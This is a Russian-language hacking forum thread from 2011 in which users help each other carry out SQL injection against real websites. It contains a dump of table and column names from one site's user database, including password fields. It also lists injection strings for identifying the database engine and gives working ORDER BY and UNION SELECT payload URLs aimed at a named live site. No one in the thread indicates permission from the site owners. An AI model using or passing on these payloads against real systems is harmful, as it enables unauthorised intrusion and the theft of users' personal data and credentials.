HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #17221  
Старый 08.06.2011, 12:57
FlaktW
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014

Репутация: 8
По умолчанию

Цитата:
Сообщение от shell_c0de  
shell_c0de said:
2mix0x0 там все просто, стоит Microsoft SQL Server 2005 почитай тут
тут
и
тут
там 100500 БД...
Вы правы, там все легко выводится:

DB Name: hr

Table found: sysdiagrams

Table found: Process

Table found: MLSArea

Table found: ProcessStep

Table found: FileImport

Table found: User

Table found: Theme

Table found: MLSListingImage

Table found: Agent

Table found: MLSListing

Table found: Office

Table found: Table1

Table found: Table2

Table found: ContainerModule

Table found: ListingPriceHistory

Table found: PageContainer

Table found: Portlet

Table found: OpenHouse

Table found: PortletProperty

Table found: ModuleProperty

Table found: PropertyType

Table found: Page

Table found: FeaturedListing

Table found: UserSearch

Table found: FileImportColumn

Table found: ListingType

Table found: Document

Table found: MLSListingLink

Table found: WebLog

Table found: Container

Table found: OpenHouseTemp

Table found: Module

Table found: State

Table found: Website

hr.User

Column found: AddedByID

Column found: AddedDt

Column found: EmailAddress

Column found: FirstName

Column found: HomePhone

Column found: LastName

Column found: MobilePhone

Column found: Password

Column found: SysAdminFl

Column found: UpdatedByID

Column found: UpdatedDt

Column found: UserID

Column found: UserName

Column found: UserStatus

Column found: WorkPhone

От меня ++++++++ и большое thanks за науку.
 
Ответить с цитированием

  #17222  
Старый 08.06.2011, 18:01
foozzi
Новичок
Регистрация: 13.04.2010
Сообщений: 0
Провел на форуме:
1350

Репутация: 0
По умолчанию

2 вопроса:

1 - имеется сайт, в нем Возможно есть sql inj

пишу в урл 49-1 возвращается 48 страница при написании ' выводится пустая страница

как осуществить подсчет полей и дамп базы в таких условиях? и уязвим вообще этот сайт?

2 - как определить mysql от mssql и oracle ? кроме символов комментариев?
 
Ответить с цитированием

  #17223  
Старый 08.06.2011, 18:47
XAMEHA
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268

Репутация: 0
По умолчанию

Цитата:
Сообщение от foozzi  
foozzi said:
2 вопроса:
1 - имеется сайт, в нем
Возможно
есть sql inj
пишу в урл 49-1 возвращается 48 страница при написании
'
выводится пустая страница
как осуществить подсчет полей и дамп базы в таких условиях? и уязвим вообще этот сайт?
2 - как определить mysql от mssql и oracle ? кроме символов комментариев?
1. Если параметр полностью передаться в базу, то как обычно. Обычно числовые параметры не обрамляются кавычками, из за этого при проведении инъекции возможно исключить этот символ. Если нет - выложи линк. Всё надо смотреть, так же возможно из переменной удаляются символы(A-Za-z), специальные функции - здесь телепатов нет.

2. Встроенными функциями, синтаксисом подзапросов, сравнения - потом БД гораздо больше.
 
Ответить с цитированием

  #17224  
Старый 08.06.2011, 19:08
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
Провел на форуме:
4512

Репутация: 0
По умолчанию

Цитата:
Сообщение от foozzi  
foozzi said:
как осуществить подсчет полей и дамп базы в таких условиях?
"id=48 order by 1" например так.

p.s.: давай ссылку. это тебе не фиши по факингу
 
Ответить с цитированием

  #17225  
Старый 08.06.2011, 19:09
Tigger
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281

Репутация: 1177


Отправить сообщение для Tigger с помощью ICQ
По умолчанию

Цитата:
Сообщение от foozzi  
foozzi said:
2 - как определить mysql от mssql и oracle ? кроме символов комментариев?
MySQL

Код:
Code:
id=1+procedure+analyse()
id=1+and+concat_ws(1)=1
id=1+and+connection_id()=connection_id()
MSSQL

Код:
Code:
id=1+and+len(@@version)=len(@@version)
id=1+and+(@@TEXTSIZE>@@LANGID)
PostgerSQL

Код:
Code:
id=1+and+1=1::int
id=1+and+pg_backend_pid()=pg_backend_pid()
id=1+and+5432=inet_server_port()
Access

Код:
Code:
id=1+and+1=StrConv(1,1)
id=1+and+Sgn(1)=Sgn(1)
Oracle

Код:
Code:
id=1+and+to_char(22)=to_char(2)||to_char(2) 
id=1+and+instr4(1,1,1,1)=1
id=1+and+rownum=rownum
Взято отсюда: https://rdot.org/forum/showpost.php?p=695&postcount=1
 
Ответить с цитированием

  #17226  
Старый 08.06.2011, 19:53
foozzi
Новичок
Регистрация: 13.04.2010
Сообщений: 0
Провел на форуме:
1350

Репутация: 0
По умолчанию

Цитата:
Сообщение от M_script  
M_script said:
"id=48 order by 1" например так.
p.s.: давай ссылку. это тебе не фиши по факингу
вот это убожество _http://www.cms.it/prodotti.php?lang=eng'&pc=49

(практикуюсь)
 
Ответить с цитированием

  #17227  
Старый 08.06.2011, 20:07
AlexV
Постоянный
Регистрация: 29.02.2008
Сообщений: 935
Провел на форуме:
7007866

Репутация: 1914


Отправить сообщение для AlexV с помощью ICQ
По умолчанию

Цитата:
Сообщение от foozzi  
foozzi said:
вот это убожество _http://www.cms.it/prodotti.php?lang=eng'&pc=49
(практикуюсь)
Код:
Code:
http://www.cms.it/prodotti.php?lang=eng&pc=49 order by 64-- -
http://www.cms.it/prodotti.php?lang=eng&pc=49 order by 65-- -
Код:
Code:
http://www.cms.it/prodotti.php?lang=eng&pc=(49)union/**/select(1),2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64-- -
вывод внизу
 
Ответить с цитированием

  #17228  
Старый 08.06.2011, 20:34
foozzi
Новичок
Регистрация: 13.04.2010
Сообщений: 0
Провел на форуме:
1350

Репутация: 0
По умолчанию

Цитата:
Сообщение от AlexV  
AlexV said:
Код:
Code:
http://www.cms.it/prodotti.php?lang=eng&pc=49 order by 64-- -
http://www.cms.it/prodotti.php?lang=eng&pc=49 order by 65-- -
Код:
Code:
http://www.cms.it/prodotti.php?lang=eng&pc=(49)union/**/select(1),2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64-- -
вывод внизу
Вывода не нашол, да и еще вопрос, почему ты 49 и 1 в скобки заключил?
 
Ответить с цитированием

  #17229  
Старый 08.06.2011, 20:35
FlaktW
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014

Репутация: 8
По умолчанию

Цитата:
Сообщение от foozzi  
foozzi said:
Вывода не нашол, да и еще вопрос, почему ты 49 и 1 в скобки заключил?
http://www.cms.it/prodotti.php?lang=eng&pc=-49+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,ver sion(),database(),user(),@@version_compile_os),10, 11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 ,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,4 4,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60, 61,62,63,64+--+

Сейчас видишь?

В админку все равно не попасть
 
Ответить с цитированием

  #17230  
Старый 08.06.2011, 20:39
foozzi
Новичок
Регистрация: 13.04.2010
Сообщений: 0
Провел на форуме:
1350

Репутация: 0
По умолчанию

http://h1813090.stratoserver.net/files/share/8_6_2011/sraB8DgFlEWFYHrOQR1opw.jpg

знаю я sqlhelperom уже просканил базу там даж паролей нет, просто руками же интересней
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ